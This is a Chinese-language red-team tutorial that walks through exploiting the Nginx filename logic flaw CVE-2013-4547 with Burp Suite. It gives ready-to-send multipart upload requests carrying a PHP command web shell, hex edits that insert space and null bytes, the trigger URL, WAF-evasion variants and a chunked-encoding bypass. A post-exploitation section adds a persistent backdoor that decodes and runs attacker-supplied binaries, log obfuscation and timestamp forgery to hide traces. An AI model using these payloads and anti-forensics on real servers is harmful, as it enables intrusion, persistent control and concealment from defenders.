从攻击者视角看Nginx:手把手用Burp Suite调试CVE-2013-4547文件名逻辑漏洞
红队实战:Burp Suite调试Nginx文件名逻辑漏洞(CVE-2013-4547)的完整攻击链
当你在渗透测试中发现一台运行着Nginx 0.8.41-1.4.3或1.5.0-1.5.7版本的服务器时,眼睛是否亮了起来?这个老牌文件名逻辑漏洞至今仍是内网渗透中的利器。与常规复现教程不同,我们将从攻击者视角完整还原漏洞利用的思考过程和技术细节。
1. 漏洞环境侦查与攻击面分析
在真实渗透场景中,我们往往不是直接拿到一个准备好的Vulhub靶机。假设通过前期信息收集,我们发现目标存在Nginx服务,接下来需要确认三件事:
版本指纹识别:通过HTTP响应头中的
Server字段获取初步版本信息。如果管理员隐藏了版本号,可以通过以下特征判断:- 检查
/favicon.ico等静态文件的处理方式 - 测试非常规HTTP方法(如PROPFIND)的响应
- 分析错误页面特征(如413 Request Entity Too Large的触发阈值)
- 检查
上传功能探测:寻找可能存在文件上传的接口,常见位置包括:
- 用户头像上传
- 文档/图片管理后台
- 各种CMS的插件上传接口
黑名单策略试探:尝试上传不同后缀的文件测试过滤规则:
POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryABC123--
提示:在实际测试中,建议先使用无害的文本文件测试上传逻辑,避免触发安全防护机制。
2. Burp Suite攻击链构建
当确认目标存在漏洞版本Nginx和文件上传功能后,真正的攻击调试才开始。Burp Suite将成为我们的主要武器。
2.1 初始请求捕获与修改
拦截正常文件上传请求,例如上传
test.gif:POST /upload.php HTTP/1.1 Host: vulnerable.site Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789 Content-Length: 213 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="file"; filename="test.gif" Content-Type: image/gif GIF89a... ------WebKitFormBoundaryXYZ789--在Burp Repeater中修改文件名,添加空格和空字节:
POST /upload.php HTTP/1.1 Host: vulnerable.site Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="file"; filename="test.gif .php" Content-Type: image/gif GIF89a<?php system($_GET['cmd']); ?> ------WebKitFormBoundaryXYZ789--
2.2 Hex视图精准编辑
关键步骤在于构造包含空字节的请求,这需要切换到Hex视图:
- 在Repeater中点击"Hex"标签
- 定位到文件名部分(如
test.gif .php) - 将空格字符(20)和点号(2E)之间的部分替换为:
- 空格:
20 - 空字节:
00
- 空格:
最终在Hex视图中应该看到类似这样的序列:
74 65 73 74 2E 67 69 66 20 00 2E 70 68 70 t e s t . g i f [space] [null] . p h p2.3 响应分析与漏洞确认
成功的上传会返回文件路径,此时构造特殊请求验证漏洞:
GET /uploads/test.gif .php HTTP/1.1 Host: vulnerable.site在Burp中需要:
- 将空格替换为
%20 - 在
.php前插入空字节的URL编码%00 - 最终请求路径为:
/uploads/test.gif%20%00.php
如果看到PHP信息页面或执行了系统命令,说明漏洞利用成功。
3. 高级利用技巧与绕过
3.1 各种环境下的变形利用
不同配置的Nginx可能需要调整攻击方式:
| 场景 | 请求示例 | 关键点 |
|---|---|---|
| 普通PHP环境 | /test.gif\x20\x00.php | 标准利用方式 |
| 带PATH_INFO | /test.gif\x20\x00.php/foo/bar | 利用PATH_INFO二次解析 |
| FastCGI缓存 | /test.gif\x20\x00.php$fastcgi_script_name | 影响缓存键生成 |
| 代理场景 | http://backend/test.gif\x20\x00.php | 需穿透代理层 |
3.2 防御规避实战
当遇到WAF时,可以尝试以下变形:
大小写变异:
GET /test.GiF%20%00.PhP HTTP/1.1多重编码:
GET /test.gif%2520%2500.php HTTP/1.1非常规空字节表示:
GET /test.gif%20%00.php/.php HTTP/1.1结合其他漏洞:
POST /upload.php HTTP/1.1 Host: target.com Transfer-Encoding: chunked 5 <?php 0利用分块编码绕过内容检查
4. 后渗透利用与痕迹清理
成功利用漏洞后,我们需要考虑如何维持访问和隐藏踪迹:
持久化后门部署:
<?php @file_put_contents('/tmp/.cache', base64_decode($_POST['c'])); @chmod('/tmp/.cache', 0755); @system('/tmp/.cache &'); ?>日志干扰技术:
- 发送大量正常请求混淆攻击记录
- 利用HTTP管道技术合并请求
- 伪造Referer和User-Agent
时间戳伪造:
touch -d "2022-01-01 12:00:00" /path/to/backdoor.php
在真实渗透中,我通常会准备多个版本的payload,根据目标环境动态调整。有一次遇到Cloudflare WAF,最终通过分块编码+空字节组合成功绕过,这种实战经验是单纯复现环境无法提供的。
